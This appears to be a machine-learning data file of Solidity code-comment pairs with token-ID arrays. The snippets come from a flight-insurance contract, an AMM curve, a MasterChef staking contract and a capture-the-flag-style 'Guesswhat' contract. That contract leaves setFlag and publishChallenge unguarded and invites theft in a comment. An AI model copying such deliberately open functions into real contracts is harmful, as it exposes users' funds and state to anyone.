external view returns(uint flightID, bytes32 flightKey, address airline, uint timestamp, bool processed) { return (flightsArr[index].flightID, flightsArr[index].flightKey, flightsArr[index].airline, flightsArr[index].timestamp, flightsArr[index].processed); } function getFlightCount() external view returns(uint numberOfFlights) { return flightsArr.length; } function getInsuranceInfo(address passenger, bytes32 flightKey) external view returns(uint paid, uint insAmount) { return (buyerAccounts[passenger].buyerPolicies[flightKey].paid, buyerAccounts[passenger].buyerPolicies[flightKey].coverage); } function getContractBalance() external view requireIsOperational() returns(uint) { return address(this).balance; } function getAccountBalance(address account) external view requireIsOperational() returns(uint) { return account.balance; } function getBuyerAccountBalance(address passenger) external view requireIsOperational() returns(uint) { return buyerAccounts[passenger].balance; } function isAuthorizedCaller(address caller) public view requireIsOperational() returns (bool) { return authorizedCallers[caller]; } // SETTERS function setOperatingStatus(bool newStatus) external requireContractOwner() { operational = newStatus; emit OperatingStatusUpdated(newStatus); } function operatingStatusVote(bool newStatus, address airline) external { // Only registered airlines may vote require(airlines[airline].isRegistered, "Must be registered to register another airline"); // Only unique voters require(!airlines[airline].voteNonces[voteNonce], "Airline has already participated in this vote"); // If voting time has expired, start new vote if(now.sub(votingTimestamp) > 1 days) { statusVoteCount = 0; voteNonce++; } // Record vote, voter, and reset timestamp statusVoteCount++; airlines[airline].voteNonces[voteNonce]= true; votingTimestamp = now; // Check vote and update status if(statusVoteCount > airlineConsensus) { operational = newStatus; emit OperatingStatusUpdated(newStatus); } } function setPayout(uint newMultiplier) external requireContractOwner() requireIsOperational() { payoutMultiplier = newMultiplier; emit PayoutUpdated(newMultiplier); } function setAirlineRegistration(uint newMultiplier, uint newFeeInEther, uint newFlightArrLimit) external requireContractOwner() requireIsOperational() { airlineConsensusMultiplier = newMultiplier; airlineRegFee = newFeeInEther.mul(1000000000000000000);// Convert wei to ether flightArrLimit = newFlightArrLimit; emit AirlineRegistrationUpdated(newMultiplier, newFeeInEther, newFlightArrLimit); } // Utility function contractKiller() external requireContractOwner() { selfdestruct(contractOwner); } function pruneFlightArray(uint newFlightCount) public requireContractOwner() { // Identify firstFlight as starting point uint firstFlight = flightsArr.length.sub(newFlightCount); // Create new flight array starting with firstFlight and later for(uint i = 0; i < newFlightCount; i++){ flightsArr[i] = flightsArr[i + firstFlight]; } // Delete remaining elements of flightsArr flightsArr.length = newFlightCount; emit FlightArrayUpdated(newFlightCount, flightArrLimit); } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ function authorizeCaller(address newCaller) external requireContractOwner() requireIsOperational() returns(bool) { emit newAuthorizedCaller(newCaller); return authorizedCallers[newCaller] = true; } function registerAirline(address candidate, address airline) external requireIsOperational() requireAuthorizedCaller() { // Only registered airlines or Contract Owner may register another airline require(airlines[airline].isRegistered || msg.sender == contractOwner, "Must be registered to vote for a candidate"); // Only unregisted airlines may be registered require(!airlines[candidate].isRegistered, "This address is already registered"); // Only unique voters require(!airlines[airline].candidates[candidate], "Airline has already voted for this candidate"); airlines[airline].candidates[candidate] = true; // Increment vote count airlines[candidate].voteCount += 1; // Check if over vote threshold or under consensus if(airlineCount <= votingRequirement || airlines[candidate].voteCount >= airlineConsensus){ // Register Airline airlines[candidate].isRegistered = true; airlineCount += 1; // Increase consensus to half airlineCount if(airlineCount >= 8) { airlineConsensus = airlineCount.mul(airlineConsensusMultiplier).div(10); } emit NewAirlineRegistered(true, airlines[candidate].voteCount, airlines[candidate].isRegistered, airlines[candidate].isFunded, candidate, airline); // Airline not registered; vote is counted } else { emit NewAirlineVote(candidate, false, airlines[candidate].voteCount, airlineConsensus); } } function fundAirline(address airline, uint valueSent) external requireIsOperational() requireRegisteredAirline(airline) { // Only unfunded airlines require(!airlines[airline].isFunded, "This airline is already funded"); // Fund airline airlines[airline].isFunded = true; emit Funded(true, airline, airlines[airline].isRegistered, airlines[airline].isFunded, valueSent, address(this).balance); } function createFlight (address airline, uint flightID, uint timestamp) external requireIsOperational() { // Only funded airlines or Contract Owner may create flights require(airlines[airline].isFunded || airline == contractOwner, "Must be funded airline"); // Generate flight key bytes32 key = getFlightKey(airline, flightID, timestamp); // Check for duplicate flight require(flights[key].flightKey != key, "Duplicate flight"); // Update values of flight flights[key] = Flight({ flightID: flightID, flightKey: key, airline: airline, timestamp: timestamp, processed: false }); // Add flight to array of flights flightsArr.push(flights[key]); // Check number of flights in array; default is 100 if(flightsArr.length > flightArrLimit){ emit FlightArrayLimit (flightsArr.length); } emit FlightCreated(key, airline, flightID, timestamp); } function processFlightStatus(address airline, uint flightID, uint timestamp, uint statusCode) external requireIsOperational() { // Get flightKey bytes32 flightKey = getFlightKey(airline, flightID, timestamp); // Only unprocessed flight require(!flights[flightKey].processed, "Flight has already been processed"); flights[flightKey].processed = true; // If late, payout insurance if(statusCode == 20) payoutInsurance(flightKey); } function buyInsurance(bytes32 flightKey, address passenger, uint amount) external payable requireIsOperational() requireAuthorizedCaller() { // Update values of policy InsPolicy memory ins; ins.addr = passenger; ins.paid = amount; ins.coverage = (amount.mul(payoutMultiplier)).div(10);// Initial coverage is 1.5x // Add policy to flight array policiesByFlight[flightKey].push(ins); // Add policy to Buyer's account buyerAccounts[passenger].buyerPolicies[flightKey].addr = ins.addr; buyerAccounts[passenger].buyerPolicies[flightKey].paid = ins.paid; buyerAccounts[passenger].buyerPolicies[flightKey].coverage = ins.coverage; emit BuyCompleted(passenger, amount, ins.coverage, flightKey); } function payoutInsurance(bytes32 flightKey) internal requireIsOperational() { // Loop through each policy on the flight for(uint i=0; i<policiesByFlight[flightKey].length; i++) { InsPolicy memory policy = policiesByFlight[flightKey][i]; // Verify policy has not been processed require(!policy.processed == true, "This policy has already been processed"); policiesByFlight[flightKey][i].processed = true; // Verify policy has coverage require(policy.coverage > 0, "This policy has no coverage"); // Store coverage in new variable and set storage variable to zero uint amount = policy.coverage; policiesByFlight[flightKey][i].coverage = 0; // Get address of passenger address passenger = policy.addr; // Add amount to buyer's balance buyerAccounts[passenger].balance = buyerAccounts[passenger].balance.add(amount); // Add amount to total payments owed totalOutstandingPayouts = totalOutstandingPayouts.add(amount); emit PayoutCompleted(passenger, amount, buyerAccounts[passenger].balance, totalOutstandingPayouts, address(this).balance); } // Check if total payments owed exceeds current balance if(totalOutstandingPayouts > address(this).balance){ emit PayoutsExceedFunds(totalOutstandingPayouts, address(this).balance); } } function withdraw(address passenger) external requireIsOperational() { // Verify available funds in passenger account uint passengerBalance = buyerAccounts[passenger].balance; require(passengerBalance > 0, "No credit available"); // Verify available funds in Contract account require(address(this).balance >= passengerBalance, "Funds not available at this time"); // Set balance to zero buyerAccounts[passenger].balance = 0; // Update outstanding payouts totalOutstandingPayouts = totalOutstandingPayouts.sub(passengerBalance); // Withdraw balance passenger.transfer(passengerBalance); emit WithdrawalCompleted(passenger, passengerBalance); } function() external payable {} }
Initial coverage is 1.5x
ins.coverage = (amount.mul(payoutMultiplier)).div(10);
14,122,724
[ 1, 4435, 11196, 353, 404, 18, 25, 92, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2763, 18, 16356, 273, 261, 8949, 18, 16411, 12, 84, 2012, 23365, 13, 2934, 2892, 12, 2163, 1769, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity =0.8.2; import "../../MirinMath.sol"; import "../../interfaces/IMirinCurve.sol"; import "../../libraries/FixedPoint.sol"; import "../../libraries/MirinMath2.sol"; /** * @dev Constant mean curve for tokens with different possible weights (k = r_0^w_0 * r_1^w1) * @author LevX */ contract ConstantMeanCurve is IMirinCurve, MirinMath { using FixedPoint for *; using MirinMath2 for uint256; uint8 public constant MAX_SWAP_FEE = 100; uint8 public constant WEIGHT_SUM = 10; function canUpdateData(bytes32, bytes32) external pure override returns (bool) { return false; } function isValidData(bytes32 data) public pure override returns (bool) { (uint8 weight0, uint8 weight1) = decodeData(data, 0); return _isValidData(weight0, weight1); } function decodeData(bytes32 data, uint8 tokenIn) public pure returns (uint8 weightIn, uint8 weightOut) { uint8 weight0 = uint8(uint256(data)); uint8 weight1 = WEIGHT_SUM - weight0; require(_isValidData(weight0, weight1), "MIRIN: INVALID_DATA"); weightIn = tokenIn == 0 ? weight0 : weight1; weightOut = tokenIn == 0 ? weight1 : weight0; } function _isValidData(uint8 weight0, uint8 weight1) internal pure returns (bool) { return weight0 > 0 && weight1 > 0 && weight0 + weight1 == WEIGHT_SUM; } function computeLiquidity( uint112 reserve0, uint112 reserve1, bytes32 data ) external view override returns (uint256) { (uint8 weight0, uint8 weight1) = decodeData(data, 0); return generalExp(ln((weight0 * reserve0 + weight1 * reserve1) * FIXED_1) / (weight0 + weight1), MAX_PRECISION); } function computePrice( uint112 reserve0, uint112 reserve1, bytes32 data, uint8 tokenIn ) external pure override returns (uint256) { (uint8 weight0, uint8 weight1) = decodeData(data, tokenIn); return tokenIn == 0 ? FixedPoint.encode(reserve1).mul(weight0).div(reserve0).div(weight1)._x : FixedPoint.encode(reserve0).mul(weight1).div(reserve1).div(weight0)._x; } function computeAmountOut( uint256 amountIn, uint112 reserve0, uint112 reserve1, bytes32 data, uint8 swapFee, uint8 tokenIn ) external view override returns (uint256 amountOut) { require(amountIn > 0, "MIRIN: INSUFFICIENT_INPUT_AMOUNT"); require(reserve0 > 0 && reserve1 > 0, "MIRIN: INSUFFICIENT_LIQUIDITY"); require(swapFee <= MAX_SWAP_FEE, "MIRIN: INVALID_SWAP_FEE"); (uint112 reserveIn, uint112 reserveOut) = tokenIn == 0 ? (reserve0, reserve1) : (reserve1, reserve0); (uint8 weightIn, uint8 weightOut) = decodeData(data, tokenIn); require(amountIn <= reserveIn / 2, "MIRIN: ERR_MAX_IN_RATIO"); uint256 weightRatio = MirinMath2.roundDiv(uint256(weightIn), uint256(weightOut)); uint256 adjustedIn = MirinMath2.roundMul(amountIn, MirinMath2.BASE - (uint256(swapFee) * 10**15)); uint256 base = MirinMath2.roundDiv(uint256(reserveIn), uint256(reserveIn) + adjustedIn); uint256 pow = MirinMath2.power(base, weightRatio); amountOut = MirinMath2.roundMul(uint256(reserveOut), MirinMath2.BASE - pow); } function computeAmountIn( uint256 amountOut, uint112 reserve0, uint112 reserve1, bytes32 data, uint8 swapFee, uint8 tokenIn ) external view override returns (uint256 amountIn) { require(amountOut > 0, "MIRIN: INSUFFICIENT_INPUT_AMOUNT"); require(reserve0 > 0 && reserve1 > 0, "MIRIN: INSUFFICIENT_LIQUIDITY"); require(swapFee <= MAX_SWAP_FEE, "MIRIN: INVALID_SWAP_FEE"); (uint112 reserveIn, uint112 reserveOut) = tokenIn == 0 ? (reserve0, reserve1) : (reserve1, reserve0); (uint8 weightIn, uint8 weightOut) = decodeData(data, tokenIn); require(amountOut <= reserveOut / 3, "MIRIN: ERR_MAX_OUT_RATIO"); uint256 weightRatio = MirinMath2.roundDiv(uint256(weightOut), uint256(weightIn)); uint256 base = MirinMath2.roundDiv(uint256(reserveOut), uint256(reserveOut) - amountOut); uint256 pow = MirinMath2.power(base, weightRatio); amountIn = (uint256(reserveIn) * (pow - MirinMath2.BASE)) / (MirinMath2.BASE - (uint256(swapFee) * 10**15)); } }
* @dev Constant mean curve for tokens with different possible weights (k = r_0^w_0 r_1^w1) @author LevX/
contract ConstantMeanCurve is IMirinCurve, MirinMath { using FixedPoint for *; using MirinMath2 for uint256; uint8 public constant MAX_SWAP_FEE = 100; uint8 public constant WEIGHT_SUM = 10; function canUpdateData(bytes32, bytes32) external pure override returns (bool) { return false; } function isValidData(bytes32 data) public pure override returns (bool) { (uint8 weight0, uint8 weight1) = decodeData(data, 0); return _isValidData(weight0, weight1); } function decodeData(bytes32 data, uint8 tokenIn) public pure returns (uint8 weightIn, uint8 weightOut) { uint8 weight0 = uint8(uint256(data)); uint8 weight1 = WEIGHT_SUM - weight0; require(_isValidData(weight0, weight1), "MIRIN: INVALID_DATA"); weightIn = tokenIn == 0 ? weight0 : weight1; weightOut = tokenIn == 0 ? weight1 : weight0; } function _isValidData(uint8 weight0, uint8 weight1) internal pure returns (bool) { return weight0 > 0 && weight1 > 0 && weight0 + weight1 == WEIGHT_SUM; } function computeLiquidity( uint112 reserve0, uint112 reserve1, bytes32 data ) external view override returns (uint256) { (uint8 weight0, uint8 weight1) = decodeData(data, 0); return generalExp(ln((weight0 * reserve0 + weight1 * reserve1) * FIXED_1) / (weight0 + weight1), MAX_PRECISION); } function computePrice( uint112 reserve0, uint112 reserve1, bytes32 data, uint8 tokenIn ) external pure override returns (uint256) { (uint8 weight0, uint8 weight1) = decodeData(data, tokenIn); return tokenIn == 0 ? FixedPoint.encode(reserve1).mul(weight0).div(reserve0).div(weight1)._x : FixedPoint.encode(reserve0).mul(weight1).div(reserve1).div(weight0)._x; } function computeAmountOut( uint256 amountIn, uint112 reserve0, uint112 reserve1, bytes32 data, uint8 swapFee, uint8 tokenIn ) external view override returns (uint256 amountOut) { require(amountIn > 0, "MIRIN: INSUFFICIENT_INPUT_AMOUNT"); require(reserve0 > 0 && reserve1 > 0, "MIRIN: INSUFFICIENT_LIQUIDITY"); require(swapFee <= MAX_SWAP_FEE, "MIRIN: INVALID_SWAP_FEE"); (uint112 reserveIn, uint112 reserveOut) = tokenIn == 0 ? (reserve0, reserve1) : (reserve1, reserve0); (uint8 weightIn, uint8 weightOut) = decodeData(data, tokenIn); require(amountIn <= reserveIn / 2, "MIRIN: ERR_MAX_IN_RATIO"); uint256 weightRatio = MirinMath2.roundDiv(uint256(weightIn), uint256(weightOut)); uint256 adjustedIn = MirinMath2.roundMul(amountIn, MirinMath2.BASE - (uint256(swapFee) * 10**15)); uint256 base = MirinMath2.roundDiv(uint256(reserveIn), uint256(reserveIn) + adjustedIn); uint256 pow = MirinMath2.power(base, weightRatio); amountOut = MirinMath2.roundMul(uint256(reserveOut), MirinMath2.BASE - pow); } function computeAmountIn( uint256 amountOut, uint112 reserve0, uint112 reserve1, bytes32 data, uint8 swapFee, uint8 tokenIn ) external view override returns (uint256 amountIn) { require(amountOut > 0, "MIRIN: INSUFFICIENT_INPUT_AMOUNT"); require(reserve0 > 0 && reserve1 > 0, "MIRIN: INSUFFICIENT_LIQUIDITY"); require(swapFee <= MAX_SWAP_FEE, "MIRIN: INVALID_SWAP_FEE"); (uint112 reserveIn, uint112 reserveOut) = tokenIn == 0 ? (reserve0, reserve1) : (reserve1, reserve0); (uint8 weightIn, uint8 weightOut) = decodeData(data, tokenIn); require(amountOut <= reserveOut / 3, "MIRIN: ERR_MAX_OUT_RATIO"); uint256 weightRatio = MirinMath2.roundDiv(uint256(weightOut), uint256(weightIn)); uint256 base = MirinMath2.roundDiv(uint256(reserveOut), uint256(reserveOut) - amountOut); uint256 pow = MirinMath2.power(base, weightRatio); amountIn = (uint256(reserveIn) * (pow - MirinMath2.BASE)) / (MirinMath2.BASE - (uint256(swapFee) * 10**15)); } }
5,528,305
[ 1, 6902, 3722, 8882, 364, 2430, 598, 3775, 3323, 5376, 261, 79, 273, 436, 67, 20, 66, 91, 67, 20, 225, 436, 67, 21, 66, 91, 21, 13, 225, 3519, 90, 60, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 10551, 15312, 9423, 353, 6246, 481, 267, 9423, 16, 490, 481, 267, 10477, 288, 203, 565, 1450, 15038, 2148, 364, 380, 31, 203, 565, 1450, 490, 481, 267, 10477, 22, 364, 2254, 5034, 31, 203, 203, 565, 2254, 28, 1071, 5381, 4552, 67, 18746, 2203, 67, 8090, 41, 273, 2130, 31, 203, 565, 2254, 28, 1071, 5381, 13880, 7700, 67, 14020, 273, 1728, 31, 203, 203, 203, 565, 445, 848, 1891, 751, 12, 3890, 1578, 16, 1731, 1578, 13, 3903, 16618, 3849, 1135, 261, 6430, 13, 288, 203, 3639, 327, 629, 31, 203, 565, 289, 203, 203, 565, 445, 4908, 751, 12, 3890, 1578, 501, 13, 1071, 16618, 3849, 1135, 261, 6430, 13, 288, 203, 3639, 261, 11890, 28, 3119, 20, 16, 2254, 28, 3119, 21, 13, 273, 2495, 751, 12, 892, 16, 374, 1769, 203, 3639, 327, 389, 26810, 751, 12, 4865, 20, 16, 3119, 21, 1769, 203, 565, 289, 203, 203, 565, 445, 2495, 751, 12, 3890, 1578, 501, 16, 2254, 28, 1147, 382, 13, 1071, 16618, 1135, 261, 11890, 28, 3119, 382, 16, 2254, 28, 3119, 1182, 13, 288, 203, 3639, 2254, 28, 3119, 20, 273, 2254, 28, 12, 11890, 5034, 12, 892, 10019, 203, 3639, 2254, 28, 3119, 21, 273, 13880, 7700, 67, 14020, 300, 3119, 20, 31, 203, 3639, 2583, 24899, 26810, 751, 12, 4865, 20, 16, 3119, 21, 3631, 315, 7492, 54, 706, 30, 10071, 67, 4883, 8863, 203, 3639, 3119, 382, 273, 1147, 382, 422, 374, 692, 3119, 20, 294, 3119, 21, 31, 203, 3639, 3119, 2 ]
pragma solidity ^0.4.16; contract Guesswhat { string public name; bytes32 public sha_secret; string public flag; bytes32 public challenge_hash; event NewGuess(bytes32 guess, bytes32 guess2, bytes32 guess3, bytes32 guess4); event ContractUpgrade(address newcontract); function Guesswhat(string secret) public { sha_secret = keccak256(secret); flag = "Nope"; } function publishChallenge(bytes32 secret, bytes32 challenge) public { challenge_hash = challenge; } function getChallenge() public returns (bytes32) { return challenge_hash; } function guessAnswer(bytes32 guess, bytes32 guess2, bytes32 guess3, bytes32 guess4) public { // binary assumes 32 bytes, but new contract can change type // since arg 'challenge' is non-indexed, it'll plop in 'data' // along with any other args that the new contract has NewGuess(guess, guess2, guess3, guess4); } function setFlag(string newflag) public { flag = newflag; } function getFlag() public returns (string) { return flag; } // Steal contract pls function upgrade(bytes32 secret, address newcontract) public { require(secret == sha_secret); ContractUpgrade(newcontract); } }
binary assumes 32 bytes, but new contract can change type since arg 'challenge' is non-indexed, it'll plop in 'data' along with any other args that the new contract has
function guessAnswer(bytes32 guess, bytes32 guess2, bytes32 guess3, bytes32 guess4) public { NewGuess(guess, guess2, guess3, guess4); }
7,302,381
[ 1, 8578, 13041, 3847, 1731, 16, 1496, 394, 6835, 848, 2549, 618, 3241, 1501, 296, 25092, 11, 353, 1661, 17, 19626, 16, 518, 5614, 293, 16884, 316, 296, 892, 11, 7563, 598, 1281, 1308, 833, 716, 326, 394, 6835, 711, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7274, 13203, 12, 3890, 1578, 7274, 16, 1731, 1578, 7274, 22, 16, 1731, 1578, 7274, 23, 16, 1731, 1578, 7274, 24, 13, 1071, 288, 203, 3639, 1166, 15977, 12, 20885, 16, 7274, 22, 16, 7274, 23, 16, 7274, 24, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.7; import "./lib/enumerableSet.sol"; import "./lib/safe-math.sol"; import "./lib/erc20.sol"; import "./lib/ownable.sol"; import "./interfaces/strategy.sol"; import "./pud-token.sol"; // MasterChef was the master of pud. He now governs over Pud. He can make Pud and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once Pud is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 shares; // How many LP tokens shares the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of Pud // entitled to a user but is pending to be distributed is: // // pending reward = (user.shares * pool.accPudPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accPudPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. Pud to distribute per block. uint256 lastRewardBlock; // Last block number that Pud distribution occurs. uint256 accPudPerShare; // Accumulated Pud per share, times 1e12. See below. address strategy; uint256 totalShares; } // The Pud TOKEN! PudToken public pud; // Dev fund (10%, initially) uint256 public devFundDivRate = 10; // Dev address. address public devaddr; // Treasure address. address public treasury; // Block number when bonus Pud period ends. uint256 public bonusEndBlock; // Pud tokens created per block. uint256 public pudPerBlock; // Bonus muliplier for early pud makers. uint256 public constant BONUS_MULTIPLIER = 10; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when Pud mining starts. uint256 public startBlock; // Events event Recovered(address token, uint256 amount); event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( PudToken _pud, address _devaddr, address _treasury, uint256 _pudPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { pud = _pud; devaddr = _devaddr; treasury = _treasury; pudPerBlock = _pudPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, address _strategy ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPudPerShare: 0, strategy: _strategy, totalShares: 0 }) ); } // Update the given pool's Pud allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } 